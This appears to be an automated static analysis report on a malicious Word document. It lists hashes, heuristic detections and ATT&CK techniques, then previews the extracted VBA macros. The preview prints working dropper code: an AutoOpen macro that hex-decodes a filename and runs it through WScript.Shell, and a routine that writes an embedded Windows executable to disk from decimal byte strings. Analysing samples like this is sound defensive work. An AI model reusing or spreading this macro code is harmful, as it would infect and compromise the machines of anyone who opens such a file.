Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 05651c5db5c2d121…

MALICIOUS

Office (OLE)

104.5 KB Created: 2018-02-05 06:01:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: ef4900dc45921b2a2318d23b18171011 SHA-1: c0f880b9ee938b1d3c08d9e52b74a7920fbfb19c SHA-256: 05651c5db5c2d1215defa32fdbef1f1d0ab63a0f8468685fc83046f00f547a31
284 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing obfuscated VBA macros. The AutoOpen macro triggers a function that decodes and executes a string, which appears to be a filename ('786a666d6f2e657865') intended to be run via 'wscript.shell'. This indicates the document is designed to download and execute a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-6923224-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6923224-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 40973 bytes
SHA-256: 6929115cdddfaa79f3ab8293f1118b2e859771be431e21a8dde900d30ad1b673
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const raiaaviciq = 2
Const amqxbnugxa = 1
Const tsfusuyenh = 0
Private Sub vnsyhkabznpahkiodvo()
icmdjxgqwnytyq tfdznhlrwgmf("786a666d") & tfdznhlrwgmf("6f2e657865")
CreateObject(tfdznhlrwgmf("5753") & tfdznhlrwgmf("63726970742e5368656c6c")).Run tfdznhlrwgmf("786a666d6f") & tfdznhlrwgmf("2e657865"), 0
End Sub
Sub AutoOpen()
vnsyhkabznpahkiodvo
End Sub
Private Function tfdznhlrwgmf(ByVal olsovexujzgm As String) As String
Dim vwtpqmwemtju As Long
For vwtpqmwemtju = 1 To Len(olsovexujzgm) Step 2
tfdznhlrwgmf = tfdznhlrwgmf & Chr$(Val("&H" & Mid$(olsovexujzgm, vwtpqmwemtju, 2)))
Next vwtpqmwemtju
End Function


Attribute VB_Name = "pjfphuzul"
Const xgflrwmhsd = 2
Const mxsmwpifiv = 1
Const pqngxnorug = 0
Sub lvtycctitbogablyo(xwmoerwnfczsyeru, strBytes)
Dim aNumbers
Dim iIter
aNumbers = Split(strBytes)
For iIter = LBound(aNumbers) To UBound(aNumbers)
xwmoerwnfczsyeru.Write Chr(aNumbers(iIter))
Next
End Sub
Sub ojbksnkhurjwkzd(xwmoerwnfczsyeru)
lvtycctitbogablyo xwmoerwnfczsyeru, "77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 184 0 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97 110 110 111 116 32 98 101 " & "32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46 13 13 10 36 0 0 0 0 0 0 0 143 138 249 219 203 235 151 136 203 235 151 136 203 235 151 136 72 247 153 136 202 235 151 136 162 244 158 136 202 235 151 136 34 244 154 136 202 235 151 136 82 105 99 104 203 235 151 136 0 0 0 0 0 0 0 0 80 69 0 0 76 1 3 0 211 241 119 90 0 0 0 0 0 0 0 0 224 0 15 1 11 1 6 0 0 16 0 0 0 32 0 0 0 0 0 0 40 17 0 0 0 16 0 0 0 32 0 0 0 0 64 0 0 16 0 0 0 16 0 0 4 0 0 0 1 0 0 0 4 0 0 0 0 0 0 0 0 64 0 0 0 16 0 0 78 130 0 0 2 0 0 0 0 0 16 0 0 16 0 0 0 0 16 0"
lvtycctitbogablyo xwmoerwnfczsyeru, "0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 0 116 24 0 0 40 0 0 0 0 48 0 0 164 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 40 2 0 0 32 0 0 0 0 16 0 0 116 0 0 0 0 0 0 0 0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